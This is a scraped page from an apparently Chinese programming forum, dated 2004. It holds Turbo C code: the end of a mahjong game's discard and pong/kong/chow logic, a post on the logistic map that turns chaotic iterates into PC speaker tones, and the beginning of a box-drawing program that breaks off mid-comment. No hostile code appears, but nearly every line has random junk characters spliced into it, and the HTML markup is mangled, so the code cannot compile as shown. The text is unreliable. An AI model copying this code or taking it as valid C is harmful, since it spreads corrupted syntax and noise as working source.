; |; b, g4 u6 C/ R' |{6 o7 y2 N/ f% b9 b; B+ A! m
x1=260;$ y4 M% M( y  ~+ I' Z* U
y1=165;/ H8 n! w; i$ t3 v: h
fillRectangle(x1,y1,x1+20,y1+4,0);
8 L) G+ g* N+ Y}0 c4 ~: A5 o# H% C0 h

' ?* Z3 B  u1 j0 Xzz=0;% D' @2 L* k  X, ?
every++;! m$ ~- M2 K. T( q
z=z+20;7 S5 z3 Z, m+ O7 P' P8 p
}- Y" k4 n8 @, v5 m
showbmp(every);
+ T  |. Y( \% z7 R$ wkey=keyy;2 B+ s/ Z3 G8 d0 j  M0 j4 T" |
if(keyy==ENTER)
5 ~, Z% J, d  K7 |0 s0 O{! h  V, w, Q! g) y
rgzn(every); /*********************/0 Z( m3 R+ s" J* _% w2 s% p! k
if(sing==1) /*如果可以乓,做相应的处理*/, I( v5 P. t: Z, b  @+ R
{ $ C0 \1 `0 h* t2 t, ~* G
kkk=0;  ^- ?6 ?0 V; z& f. [. [7 [
kkkk=0;% ~2 g+ K( |) S  v; H' ~
while(kkk&lt;=computer.m)
. W( G1 h# r, X  `) B4 J: ~6 ~* p{: M6 A' y  I5 d% ~. D
if(computer.pp[kkk].p!=1)
0 L5 g% H% H/ s2 q$ ~% E5 n( z{
4 ^8 f, W' N4 y: Ocomp.pp[kkkk].k=computer.pp[kkk].k;& K9 f- ~' D: G/ I
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;. ^- j# T3 M) @! O7 T; ?4 t* e
comp.pp[kkkk].number=computer.pp[kkk].number;
4 V( {7 y9 n0 n1 i% ikkkk++;
8 ~  M/ J3 d- [' ~}* w# B2 C0 d6 j  z; f; K: J
else- ^/ Y& Y- O* O( y. J% {  J
{
! ~' ~2 K" d3 Y) Lm[computer.pp[kkk].number].data1=1;7 r- U$ q2 q- J7 D
dwei=computer.pp[kkk].number;
9 @; S, X9 E2 v- F8 m1 Ccomputer.pp[kkk].p=0;
# ~3 A2 }9 `/ K) f}
0 l. ?: {; W+ I# ckkk++;
4 M. l" C! Y, J& q2 H0 G}
% f: m/ g3 H' u2 Y% w# A( jll=0;
; R* w- R1 o( X
+ o7 A9 j$ H  qwhile(ll&lt;3): _( I. Y6 R9 t$ m% N0 ?
{ zl=zl+20;
4 p& }+ W6 @! E/ a0 lbmpp(dwei); /*显示乓的牌*/
  j8 L' B3 i8 }  \. Mll++;5 Q2 a4 \, g8 i/ I2 w1 [: B  T
}9 v8 I+ i; t# w/ Z+ \9 b
2 O, G8 k7 {- W- o, X1 @- F  T
zl=zl+9600-60;  e% F3 w4 u4 N5 r# a- n- }) p
kkk=0;
& _  P( n  t' p1 S" i" _computer.m=computer.m-2;
' x# V5 \$ f+ xwhile(kkk&lt;=computer.m)
. f) k/ L5 z+ B" P* H( T) @1 ^{
0 j4 X% z% X& \1 Ycomputer.pp[kkk].k=comp.pp[kkk].k;, F$ R( g' @% L( _9 K
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;0 p( N$ @. z6 g, E* |9 ~
computer.pp[kkk].number=comp.pp[kkk].number;
2 e, z8 `% v1 bkkk++;, i! n$ i9 L* V: u' r
}
+ n6 |9 r: g+ _2 j( vll=0;" m, }# _0 k" [& O5 x& r9 E
temp=random(computer.m); /*出牌等待完善*/
  L& d) P+ Y, ?$ wzyy=zyy+9280+20;
8 v. J/ ^, `. L* x3 Cshowcbmp(temp);
5 d5 f3 L( l4 w5 e4 K' Szyy=zyy-9280;
# A: `4 h. T% Z1 X/*****/' m( t7 g0 f" ]0 ], @9 l2 p9 Q
rgznme(temp); . E5 N/ i2 v; H) Q% P3 x- D
panduan();
! C4 W/ Z+ l* m+ |if(me.m==0)8 K! O2 }- M, h, K- V
if(second==1 &amp;&amp; threes==0)
1 w" P; R* D* Iprintf("you win!");) N* H3 s6 F9 C
if(me.m==3)
( a8 C& ?; ]& n# }2 v( p7 ]" iif(second==1 &amp;&amp; threes==1)
. K: C7 _5 i5 t+ x  iprintf("you win!");
! ?( e% V& b$ c7 F# Fif(me.m==6)# L( ]4 ]6 n% u0 M6 P+ @: T/ l
if(second==1 &amp;&amp; threes==2)
1 p" Z* r" ^7 T- dprintf("you win!");
% z+ A/ S( X$ ~  G2 h$ A; ]4 Y4 Qif(me.m==9); x$ x: ]% v9 g, f# o) q
if(second==1 &amp;&amp; threes==3)5 y& {" w0 j1 w1 p
printf("you win!");
: h: D; x8 t3 \; i6 Hif(me.m==12)# _: n) N" o! c' X% `
if(second==1 &amp;&amp; threes==4)
* ~& K, ?, E& ]# {0 ~printf("you win!");
( f: C# b. V, j) R& y' u4 Z' E, q6 n$ m0 n+ p8 q4 e" z7 O
kkk=0;* s3 L* v; [3 t8 S
kkkk=0;
4 u6 o2 E9 ~* f2 k" p! ^7 h) k& ]while(kkk&lt;=computer.m)+ T, k7 |4 S6 W; O& x
{
5 G% X, D4 ]8 M, _! Z9 Qif(kkk!=temp)
! F5 B/ \' t% H: o( o7 k{
& G, e- C( ?! v+ ]comp.pp[kkkk].k=computer.pp[kkk].k;
  x  H3 ]! t: `' A3 R- zcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;# |9 M$ o/ K8 Q9 g7 Y
comp.pp[kkkk].number=computer.pp[kkk].number;
3 n9 g! i3 _2 j. Mkkkk++;6 _  L# k8 w4 Z# Y+ |
}- E9 t7 R  x" K& ^, D7 `
else$ D1 ?. g; b- D
m[computer.pp[kkk].number].data1=1;
' r' \) s; a# q" tkkk++;* c$ ?" |9 W# B6 ~0 U
}
$ i# w" A' J5 V8 W. H3 A) i1 t% ]9 V, qkkk=0;
, S$ W& T# b/ k/ wcomputer.m=computer.m-1;. W9 b7 l9 [+ y; d( l# [. t
while(kkk&lt;=computer.m)
5 Z+ u( c2 b& _% S{" G, @; I* s- O* q
computer.pp[kkk].k=comp.pp[kkk].k;
) `# Y) _* g. Z/ Z- ^' c) xcomputer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
. ?! b" [4 O7 k6 x) `1 w) ]" xcomputer.pp[kkk].number=comp.pp[kkk].number;# M$ {! m/ Q: T& T
kkk++;
8 P! k$ K3 Q3 y; w: ]* Q7 M}" C+ g% N& V$ i" d4 }* `. s
fillRectangle(0,0,320,30,0);$ T3 k3 B% F- d/ X' o
n=computer.m;
( H# N+ D% Z3 q1 S. Nll=0;
/ W/ @$ C$ Y. {6 Rzy=0;
1 i; h, V/ V: k: Q  q  J' @while(ll&lt;=n)$ C+ P0 x1 `4 @4 s" t. H) l
{
1 O, `7 ~! T" b" F+ k/ D$ ?zy=zy+20;4 i2 [$ n" o9 z; h
showybmp(ll);  M# D) \6 x% }, w& }
ll++;- ~/ V8 G5 ?+ h
}
4 A& W/ N6 H* W7 `# U) @+ _. B+ q; T. xll=0;
# E: T1 b* j8 E8 Egetch();
- _$ v3 y/ @4 p2 k. f& S  asing=0;
! L! W( w7 e) F9 p  @2 e& z( fsing1=1;  L4 K, D. I/ {/ e0 N* Z5 Y2 R% [
}. n! v1 g0 Y- P* N
% H) u, D8 Q* I. A2 }
if(sing==2) /*如果可以杠的做相应处理*/  P1 F0 P: Z& c: I. a: N+ k( `" t, ~
{
/ {) S, ]) p$ z6 P' I' Q1 A! ?kkk=0;; F' y5 N" E5 A1 g. K( m1 {, m! T
kkkk=0;
9 y" m" C+ A% p/ t) C4 Y6 b) Iwhile(kkk&lt;=computer.m)8 u' A! b2 L, x8 X
{4 m8 k; e9 J, s' e2 ]
if(computer.pp[kkk].g!=1)
% x  B; Q5 Q# \$ n1 @8 p; M{" |! e( l& i" ^7 p
comp.pp[kkkk].k=computer.pp[kkk].k;# c6 u3 B- r/ o/ w" M# l
comp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
) @  i1 x0 P/ T8 @5 u2 mcomp.pp[kkkk].number=computer.pp[kkk].number;$ z# E& i$ O  `# ~' p
kkkk++;6 ?/ h& `% t0 T; z* j+ |, L* q/ [
}/ J( z6 ~% o; @7 H
else6 ?  A& Q( x! N$ V6 E; f- l/ V
{
  M- H" H( J; N8 B6 A0 ?m[computer.pp[kkk].number].data1=1;
- x- k9 q0 j1 t! @dweig=computer.pp[kkk].number;/ @: {/ M& ?0 q& }, ?$ f' r% |& J
computer.pp[kkk].g=0;7 H$ P2 o8 G& U9 w+ k/ K
}
1 O% k# A" h' S- i* ~kkk++;: ^8 O5 T) C8 z8 ]! f3 }
}8 ]8 h  g0 T9 ^. ~6 n* L# ^2 C
ll=0;4 M+ j' }# D. P7 I$ U

3 k* ]6 e9 a3 I) n8 {- W$ Qwhile(ll&lt;=3)
$ Q" u  H' O3 B0 m8 O$ f4 d{ zl=zl+20;1 u6 K) n/ @! Z0 E  `, u
bmpp(dweig); /*显示杠的牌*/
1 |2 s7 M: c9 \( \ll++;
. L3 e; n2 `6 |9 Y4 n}" |/ \; C$ U( t# d* ^" s
zl=zl+9600-60;
/ K# C1 \# d/ T6 `3 dkkk=0;  }( A3 H/ b6 C+ F4 S% T) `9 u' \; R
computer.m=computer.m-3;* F8 x  {& K$ V* l
while(kkk&lt;=computer.m)
: j5 v& L! x9 J; D{! n( n4 S; P. j2 N
computer.pp[kkk].k=comp.pp[kkk].k;& [! `" f0 K4 L- V: m
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;: M( g) V4 N& m( t6 R6 R
computer.pp[kkk].number=comp.pp[kkk].number;
: I$ V6 W' I$ K, mkkk++;  z4 k8 s7 {4 R. C1 J" [% O* o
}
3 [; B* `9 L" b$ b( q' R- n& ^2 }kk=0;- S1 S& K2 O( W+ H2 t( j( P
computer.m++; /*加一个牌的容量*/
. F5 t* ~. t* n+ R+ Q5 h8 F* u" hwhile(kk!=1)
2 c3 x4 k* j6 K7 w8 S{
+ d6 Z. u3 X) P) c/ F5 L* ztemp=random(136); /*出牌*/
0 a3 W4 A6 J' O7 eif(m[temp].data2==0 &amp;&amp; m[temp].data1==0)
/ Q4 a1 b, k% t; ^0 Y{
& l& V* w% q5 ]  ~computer.pp[computer.m].k=m[temp].name; /*把136中之一的牌放到电脑的手上*/! l+ j( }. U$ I, Z7 b8 V' L# G1 x
computer.pp[computer.m].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/
: S2 W) @7 l2 L2 X1 N& Z2 Acomputer.pp[computer.m].number=temp; /*第几张,用来排序*/
( U5 _7 d1 Q' b, Km[temp].data2=2; /*判断牌是谁的,2为电脑*/
& }# t8 E) z6 k. [  ]/ ^kk=1;  q7 V( A/ t+ b' f: |, f' V- P
}
, d7 t0 N, L" D" O- ?+ l0 u! B# V}! F/ e$ U: Z- G8 ?% i
comlipai();
0 T, [* u$ i5 R: ntemp=random(computer.m); /*出牌,等待完善*/
0 U9 a2 t: b" p/ F5 c4 }% i2 qzyy=zyy+9280+20;
* k" E; K/ m) R8 T9 {showcbmp(temp);
# ^7 |' x0 H! Y2 k+ vzyy=zyy-9280;& g' `% l' S/ R* E2 Y$ L3 B
/*****/" D/ B* v3 h+ m+ [! Z
rgznme(temp);
& a7 x. Z3 G5 W3 N2 f7 gpanduan();
9 L1 L% o4 G6 ~* Yif(me.m==0)
0 Z8 ^$ S* ?: d1 M% Tif(second==1 &amp;&amp; threes==0)
8 R% h& J% _$ r$ G* _printf("you win!");
  \3 A7 K' l: A' I; n, ]) u" Wif(me.m==3)
! [" }# U2 @; ~if(second==1 &amp;&amp; threes==1)
  _& w" ~& B: L! eprintf("you win!");: {' m0 v4 Z8 ?2 U( C) f* R
if(me.m==6)
) f& O% b* Q2 C& z; c2 h' N1 Kif(second==1 &amp;&amp; threes==2)6 C' o& e! Z/ n/ H2 v
printf("you win!");; n# I5 ]/ S- K9 n3 J" A
if(me.m==9)
9 J- C* X8 Z( l' j8 oif(second==1 &amp;&amp; threes==3)5 Q9 U7 S+ _+ R+ ^9 }
printf("you win!");1 |7 ~" }7 D- W# X6 |( I' t. y1 W
if(me.m==12): j. \: q$ W; V) n- d$ q
if(second==1 &amp;&amp; threes==4)
, T+ x, I' ?5 Zprintf("you win!");
5 v! t2 D2 V3 n, b8 H# _2 O
+ R* @$ @; |& b2 d' Y  c4 ~kkk=0;
% P7 M9 N! x8 F2 N1 G" L0 w8 ~# tkkkk=0;
! B- z' Y5 Z- x+ [8 ~while(kkk&lt;=computer.m) /*把未选的牌放到零时变量*/. z4 M$ X3 r: S3 i! b8 k% p+ D) E  X
{3 ?% ]4 F& A% e3 A6 D# {5 P
if(kkk!=temp)% n# z& P$ y, J& F9 X2 D
{
$ Y! o" v& @7 U/ S2 @2 z6 K/ `, kcomp.pp[kkkk].k=computer.pp[kkk].k;
* z1 ]. T# B; d8 ]! q8 i% `: Ncomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;! A$ y8 C0 V+ j4 Z+ y' v
comp.pp[kkkk].number=computer.pp[kkk].number;
( _' |+ }( e4 S6 e; ?$ wkkkk++;+ L* S; u% ]7 ^5 c) b9 ~
}
, [2 F/ d, N) [% r! R3 N% ~else, W, X5 n6 f0 `! F, L! R
m[computer.pp[kkk].number].data1=1;6 p' m3 r' \. M
kkk++;
0 p5 h4 C! c$ S2 F" L, z7 A}
/ E7 B: Y* D1 D/ I  `5 _2 u+ kkkk=0;4 l7 t0 ~$ _, O# m
computer.m=computer.m-1; /*把未选到的剩余牌放入电脑手中*/
: O3 G/ J8 L, A( }3 P& t8 K- s1 Awhile(kkk&lt;=computer.m) # _% O# G4 A0 U# ?* y# l
{
: S; ?2 y2 r$ J! s* U! |computer.pp[kkk].k=comp.pp[kkk].k;$ t  \$ r8 O9 @' {
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
% y0 c9 ^  c/ Z  Y0 S8 R  S9 jcomputer.pp[kkk].number=comp.pp[kkk].number;
! x9 k. R# [7 U" S# K6 n0 o( ckkk++;
  r! n8 J" T; W1 Y2 r: {% M) N}
0 ~  g$ t. D. |  M. IfillRectangle(0,0,320,30,0);, ]! H- u1 x- ^) o: Q1 J/ Q9 w
ll=0;6 s" ~: k" [& H% L# C
zy=0;8 @8 |/ h5 A4 _$ Q' Q
while(ll&lt;=computer.m)
8 [# ^, A* L! W; a/ k% o{) d0 G( L8 o% w- R
zy=zy+20;
& r7 b0 ]8 M5 W/ Tshowybmp(ll);
3 T2 ]7 |) @; ]ll++;$ \! p9 t& x# Q- O
}  N1 M5 x9 ~" ~4 X8 T! ~
sing=0;
& f0 \) s' u# n1 T- A' D, n! Zsing1=1;6 k) f* j) i8 p2 E/ u; e6 ~* l& N" r
}# K7 z" ]3 o! {6 ~
if(sing==7) /*如果可以吃的,做相应处理*/
0 O! ?" v/ y# X- c% d0 T" O{ nn=0;
% O7 B. t6 H9 akkk=0;
9 e& i3 q$ U/ J# o: p' Qkkkk=0;
; ^6 x8 L' }' O( D, {while(kkk&lt;=computer.m)* i( M6 z0 Y; ]5 l4 j
{" W4 W' u% z. u5 Z) ?) C: T, G
if(computer.pp[kkk].c!=1)) Y* U) c5 m  b6 j
{
2 ~' [- l+ D/ Mcomp.pp[kkkk].k=computer.pp[kkk].k;
  q8 r4 @; I( B. R1 Lcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;' o- p5 b& @+ Q/ K3 |
comp.pp[kkkk].number=computer.pp[kkk].number;
( H7 \% }, d1 p9 n, Mkkkk++;+ {1 v6 A0 i( h2 e
}
3 ?/ Y6 \- y* E% d* Eelse
" P9 ~3 O* e# y- c. {{
5 d. n. u4 _- @3 Am[computer.pp[kkk].number].data1=1;4 k* E) M# h, `
dw[nn++]=computer.pp[kkk].number;, |3 @4 b# {, b! T: b
computer.pp[kkk].c=0;
! s6 \* J( \) s( W3 v}
; r+ d5 u$ J1 s/ Fkkk++;+ _$ X! f0 Q$ w  Q* D$ p
}+ E8 t: n1 s& K+ ^

0 B  C$ t, v' ]- x1 M* jif(me.pp[every].number&lt;dw[0])
8 W) F- Y7 W* h: _; f  w, w{
& f3 T! D! p% S3 Wdw[2]=dw[1];
1 s2 U/ O9 N: w  \# gdw[1]=dw[0];- T) a% Q3 g! B
dw[0]=me.pp[every].number;# i+ \, r, j7 z- u$ ]2 G
}
+ b, R& m; f% Y9 n1 Uif(me.pp[every].number&gt;dw[1])% ?0 Q6 b. {% m  L( w! }
{
9 F" h0 Z7 F5 i* O% bdw[2]=me.pp[every].number;$ k; w4 d. R4 m; u' B, w% \
}
1 A( d" q, a9 a5 V0 nif(me.pp[every].number&gt;dw[0] &amp;&amp; me.pp[every].number&lt;dw[1])1 ~  V/ C) Y0 O" b8 K3 y! |/ o4 S
{
( z9 S9 C2 I: F( Ddw[2]=dw[1];
1 ^9 Q' A# Z$ U7 udw[1]=me.pp[every].number;, A: N" O, @! W) ~" z5 G( G
}
  r5 t9 H# x- Bnn=0;! B/ l. r3 c5 z( W0 m- V7 o
while(nn&lt;3)8 Z6 a8 g: O. U
{ zl=zl+20;
2 z/ _, [5 @4 B8 G, Xbmpp(dw[nn]); /*显示吃的牌*/
" o6 Q9 B& E: @. lnn++;
9 g: o, r8 j  s7 Z7 V- V* _4 B}
; W7 m( e- X; S" }' l& }. dzl=zl+9600-60;
  K: c3 r) Z  e% ?2 k5 o% @kkk=0;
9 m1 V- S% F: D3 G) O6 pcomputer.m=computer.m-2;
5 Z8 _7 {9 m9 n9 H3 g0 F2 [) ?while(kkk&lt;=computer.m)
6 v; u8 H; h6 p8 K9 v  L/ k{
% Y) k9 S8 _. M' ycomputer.pp[kkk].k=comp.pp[kkk].k;5 g5 X: }& \, q+ h/ l( b* F0 G: O
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;
7 E' Z6 j) W; Vcomputer.pp[kkk].number=comp.pp[kkk].number;
+ k6 z3 q( O1 ykkk++;
+ e5 L8 u; ^# }- n$ H$ ~; Z}% _& n6 N* S5 z' h* |0 y. l7 r* G
ll=0;
) S4 S+ _$ j$ j- F. _4 Ytemp=random(computer.m); /*出牌等待完善*/& L8 ?, f1 }' N8 O
zyy=zyy+9280+20;9 u. S- [2 Q7 P  r$ t: w. J
showcbmp(temp);
  ]) C/ l% h( h6 x/ Izyy=zyy-9280;. G8 O+ Z& `1 d! _' [/ f
/*****/
0 C3 v# t$ k2 W3 D$ E, irgznme(temp);- _) O- x  V# z; Q% X) ?6 ^) ?4 A
panduan();8 p! E, k  A% A6 S2 g7 I/ W7 b* @# \
if(me.m==0)5 w6 M: ^3 A# h8 n. s
if(second==1 &amp;&amp; threes==0)9 ]# p+ \. J' m% ~4 j& G
printf("you win!");
6 M- _7 A5 @0 f3 j2 l, C: Aif(me.m==3)$ `/ m# w' a. U- B& p
if(second==1 &amp;&amp; threes==1)5 Z; e/ B8 P9 W3 ?; [; X% A3 d
printf("you win!");
  e' s. ~# \3 ]2 a2 Z8 C' qif(me.m==6)! ^8 J- z0 _, ?
if(second==1 &amp;&amp; threes==2)9 g9 v/ W4 b, d' Y/ `4 o' t& F
printf("you win!");' i" J3 ^+ F! X
if(me.m==9): r& Z- R: u; `$ w) ^$ C
if(second==1 &amp;&amp; threes==3)- e6 q' L9 Q4 z% [4 A
printf("you win!");% t% L" L1 y9 E/ m
if(me.m==12)
8 G* u8 z4 B8 B4 G9 Gif(second==1 &amp;&amp; threes==4)% R$ V, L1 a3 {" N  D2 o
printf("you win!");
/ F' \  @8 ], ?9 Q" V
; U1 @7 M: z, S& \! {* dkkk=0;% A0 O% v  E# W+ {
kkkk=0;' V/ I6 W9 O& o- ^% P& i
while(kkk&lt;=computer.m)* ?0 w6 s# C) G% `
{1 ]% E- E! y' T1 T. n+ W
if(kkk!=temp)
& ]# y9 f2 r# Z0 V; |{
  I! s9 b* n  I% y' E- a0 u3 b; |comp.pp[kkkk].k=computer.pp[kkk].k;
! F- Q- F- u; @- e) kcomp.pp[kkkk].oneorfour=computer.pp[kkk].oneorfour;
" t9 [' c  F; U& F# e) Y: vcomp.pp[kkkk].number=computer.pp[kkk].number;  N6 n+ e1 t5 i5 a% r# t  M8 C' R0 G
kkkk++;) w1 M  y8 l9 ?6 \3 z* u: W
}
( w" @* T% y! x/ f& d* U* melse# p+ ~$ m8 j/ f0 n; P4 f  V
m[computer.pp[kkk].number].data1=1;2 s* Q' p5 o  l/ l
kkk++;/ K% H7 z2 L. X- {& _+ \) `
}) @! m# b) D( U7 g9 L$ h5 a, Y7 u) J
kkk=0;5 J0 w- X* D$ v6 `; ~
computer.m=computer.m-1;
6 U9 v8 O- ^  x8 _while(kkk&lt;=computer.m) / X6 s$ A1 V( p# w
{2 m3 q5 Y" `' L" f% a) e8 ?
computer.pp[kkk].k=comp.pp[kkk].k;0 h) L+ E* |3 P1 y
computer.pp[kkk].oneorfour=comp.pp[kkk].oneorfour;* K$ |/ Q4 B1 o, Q' I% R
computer.pp[kkk].number=comp.pp[kkk].number;
  c# M9 q# C% ?4 [  _% m1 v/ S' hkkk++;
3 s) j+ d( i) S0 g- P}! |4 q1 S, e  y( p  ~  C% h
fillRectangle(0,0,320,30,0);# t1 ?# p" C1 p1 {, U9 A2 _* \) Y
n=computer.m;
/ d1 x! D6 `; Y3 tll=0;' F) H1 K4 E9 _% K
zy=0;
) D0 @  j" ]* mwhile(ll&lt;=n)# X! b$ ^- L+ [( F
{/ G2 o9 [% H/ M
zy=zy+20;( _4 Y& }+ r# p: G4 R, G
showybmp(ll);. \" k9 I+ C0 C2 l/ Y1 v
ll++;2 W: w# j, W" J$ e6 k. Q% H
}0 ^* j7 G  l6 G# B9 T7 h) n+ r

, }; R# w! H4 e! ^8 Agetch();
" Q4 ^' Q* p+ w# j  k/ ~sing=0;6 _) k# {0 F! e
sing1=1;, o( h6 E0 r5 R* S
}5 y' ?" ^5 \1 O. O
if(sing==0) /*如果没有可以乓或杠的就标明牌无用*/6 y, b0 `3 M. A* r. u) O
{
4 N0 L3 k, X3 c( D7 E% B" ]kk=0;; s: K/ {+ g9 B+ D* Q1 W
h=me.pp[every].number;% _. s+ y8 }. ]) C
m[h].data1=1; /*此牌已经无用*/
0 {6 s  d; q7 K: c! G. ?9 Jif(sing1!=1)! L3 n5 `. J3 ^% ~% K) c
{
8 n2 K3 e1 D4 l3 d; Z) pzyy=zyy+9280+20;* Q' T( x4 C% n4 {
showbmpd(every);
, x- s6 K& W/ _8 J3 @( u4 ezyy=zyy-9280;
! P0 D* f# X5 l9 ^6 m}4 w) ~* `; l" S9 k
while(kk!=1)1 J( b) {8 R5 d( L0 G. Z3 i6 u: n1 F5 K
{, R0 r  H. a# v# n# ]
temp=random(136);0 }% ^. u" ^! {4 G
if(m[temp].data2==0 &amp;&amp; m[temp].data1==0)' H; ~! p/ T) t% i% x: i5 H
{
+ b; k2 w% c: O: |6 ?me.pp[every].k=m[temp].name; /*把136中之一的牌放到我的手上*/% K% v1 O% O+ D. f/ C' m
me.pp[every].oneorfour=m[temp].number; /*判断同一个花色中的第几张*/, e* K# n; `: b) `, y+ y% g" W- m
me.pp[every].number=temp; /*第几张,用来排序*/
6 c8 Y& Z! f' H; u: vm[temp].data2=1; /*判断牌是谁的*/. [) t" K$ K. \4 G' o
kk=1;1 C1 h5 h( k: w6 P+ k  f, h
}0 C- c9 l! L, ^+ {& E
if(kk==0) /*判断如果又选择了,就从新再选*/! b2 M9 p: x) G2 ~; Z. U6 P
kk=0;+ ]! k; x& P. r- Y4 t: z2 f
}
" M, j- H& o3 y: o, E}1 t) H1 _0 Z9 O/ d3 L
sing=0;
. q" k5 U6 L* f: \sing1=0;
/ t5 v2 [$ h! M+ _melipai();
. I1 a7 c! a/ _& X/ m2 U( ^n=13;
( ?+ T. r' Y4 F# Tz1=54400;0 L" O: c1 P, r* \& {
l=0;
0 u3 N, ?" |8 I0 ng=z;/ F! g2 C4 F: E8 ]" t) [/ i5 ?# N0 y" E
while(l&lt;n), b5 N& f9 e) g$ n; n! ^0 x" H
{ z=0;
  `- k# ^* ?/ z, E1 J4 Ez1=z1+20;
3 B' M# m# L2 v0 {8 C/ P7 B- oshowbmp(l);
# E; q0 @( P: y7 X2 Zl++;
/ H  Q' \- S4 x& [  D3 G}$ I% g& H1 N& w! p
z1=0;1 |0 n6 ^) P  ]: Q! n
z=g;' u  q9 h9 J" b8 S
}
- c8 k+ T2 F" l/ {keyy=0;
6 D9 z8 B! a  [) z, L}
8 {: h& x% j- t2 H, ]9 m6 M& v3 v# T, D: z6 }- d% _
getch();
7 e8 k; E, D0 X! x6 }9 a, H( IOUTVGA;
& z. c: K8 {0 T! i  b  |} . l7 L8 S' V3 U) @) b
</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:38
<DIV align=center><FONT size=3><B><FONT color=#cc0000>聆听混沌的声音</FONT></B></FONT></DIV><DIV align=center><b><FONT color=#cc0000 size=3></FONT></b> </DIV><DIV align=center><>  本世纪70年代初,美国普林斯顿大学的生态学家R·May在研究昆虫群体繁殖规律时提出一个著名的模型: χ[n+1]=k*χ[n]*(1-χ[n])
' H2 r3 J* p! T+ G# D- H</P><>  其中χ[n]表示第n代群体的数目。当给定一个初始的χ[0]值,然后不停地迭代,人们发现随着k值的不同,得到的序列χn 有许多有趣的现象。当k值介于0与1之间时,χ[n]经过一定次数的迭代后都趋于0。当k值介于1和3之间时趋于1/k,当k值大于3时,经过一定次数的迭代后χ[n]在2个值之间交替变化,k值增加到3.449附近时,交替变化值又变为4个。继续增加k值,χ[n]交替变化的值的个数依4→8→16→32的次序迅速加倍,终于一片混沌。但当k值在3.835附近时,经过一定次数的迭代后,χ[n]非常简单地在3个值之间交替变化,接着又迅速依3→6→12的次序迅速增长。如此反复,在简单的方程中隐藏着令人惊奇的复杂性。χ[n]随k的变化情况如下图所示:
, L+ b9 i0 E$ E
4 n2 Z" g# z# l' S+ M( s  为了体现这种复杂之中的无穷奥妙,下面这个用TC2.0编写的小程序用χ[n]大小来控制PC喇叭的发音频率,设定不同的k值,我们就可以聆听到混沌的声音。) \( W; a% p0 R- |2 u# `+ g
  <FONT color=#009900>#include <DOS.H>6 \" P# N+ w6 K2 J
  #include <STDIO.H>
( R3 S9 @0 }5 }. q& {5 W. l0 E! h5 v  main(){
( E! s% D0 t  b' e, ?  int fMin=20,fMax=16000; /*fMin代表最低频率,fMax代表最高频率*/
( E  r4 {  Z) |; S! N5 M/ P; [8 v1 S  int fDis,i,j; /*fDis代表最高频率和最低频率之间的差值*/
) o9 j! f* q6 m2 |: Y  /*i,j用于循环记数*/
; i0 a$ q. h- |: A3 t  float x=0.1,k; /*x代表x[n]的大小,设定其初始值为0.1,即x[0]=0.1*/* O* P0 D. L* V$ T; }: j2 c2 h1 ^5 a( h
  fDis=fMax-fMin;1 k$ F. W) P* D- L" y" |7 G3 p& Z
  for(j=1;;j++){
- E: t# m2 |* Y: L4 M% ?- x  printf("lease input The value of k(1-4.0)\n"); /*输入k值*/  T- ]8 T* u7 N
  printf("If you want to quit,Please input:0\n"); /*如果k=0退出*/0 Z# S: `! X& v* A- ~) G5 S7 z
  scanf("%f",&k);
6 K9 D5 h& B* e- h0 O/ g  if (k==0) break;% V, Y; a" _, ]2 @! j2 }
  for(i=1;i&lt;100;i++) /*去除开始的100个点*/
# f/ L, y9 v# b  x=k*x*(1-x);
7 U9 k- [3 Q" ?4 v* b4 P  for (i=1;i&lt;100;i++){% D& n; O5 P. V' H9 ]$ J# m$ J
  x=k*x*(1-x); /*计算x的值*/
! l) k0 a: ?% f2 o2 r$ a, ]8 r1 @  sound(x*fDis+20); /*用x的值控制PC喇叭的发音频率*/9 N# y+ d0 X4 o  Y
  delay(1000); }+ n; Y) d' W4 s, u1 m9 a
  nosound(); }}8 X0 g! I. u& `2 F& o+ C5 @
  </FONT>执行上面的小程序时,k值就相当于一个“调音旋钮”。当将k值设定在1与3之间时,喇叭里传出的只有一个音调,重复又烦人。当k值稍稍大于3时,便开始有了韵律:so-mi-so-mi…。k值增加到3.449时,变成了so-fa-la-mi-so-fa-la-mi…,再增加k值,韵律更加复杂,终于成了现代抽象派作曲家的音乐作品。但是韵律并不是随着k值的增加无限地复杂下去。在k值增加到3.835时,音调又变成了mi-so-ti-mi-so-ti…,再增加k值又迅速地变得更加复杂。( g( t# V' d$ P
不停地改变k值,仔细聆听,会听到混沌中的无限奥妙。</P></DIV>
作者: 韩冰    时间: 2004-10-4 02:39
<DIV align=center><FONT size=3><B><FONT color=#cc0000>设计彩色框的C源程序</FONT></B></FONT></DIV><>
) R0 o* A8 f  S* w8 J5 b<FONT color=#009900>/*
3 o% X; M2 ~- l*1 G  Y3 |; r5 P: s/ b! E3 J8 f9 V! {
* Short driver module
! I, m% i7 W& g5 T, g*
/ H' w) W+ Z4 i, `5 j4 p: D8 }*/</FONT></P><><FONT color=#009900>main()
3 Z7 L& W+ u- A3 L' P7 ~* K' H{8 p4 ?( E( i7 N- y$ p  J
clrscr();; H7 D. p/ s7 s$ [: ^) O
box(1,1,23,79);- Q+ ~! X4 n# x: v
box(2,2,21,77);/ N# t9 s6 p; k7 G2 p
box(3,3,19,75);$ `4 h" [: O4 D6 E; q5 a
box(4,4,17,73);( H1 }5 @  ~7 G' g, t
box(5,5,15,71);
" h. T- V3 Q" |' @box(6,6,13,69);
) f/ {4 Z7 b+ ~) c, k7 K8 g! Kbox(7,7,11,67);; w6 O9 m, M0 ?# l3 _; j
box(8,8,9,65);: x6 l: N1 Q0 m- t2 \
box(9,9,7,63);- u6 |, t  a5 t- o
box(10,10,5,61);9 D" X1 C7 N6 N; o
box(11,11,3,59);: N; p$ l* D: A, }( o8 g
box(12,12,1,57);! B: R  p7 T" w' Y5 p
poscur(24,1);: I: G9 \* z/ [- i) J: ~
}</FONT></P><><FONT color=#009900>/************************************************************
) S4 H3 \6 X) D* BOX *
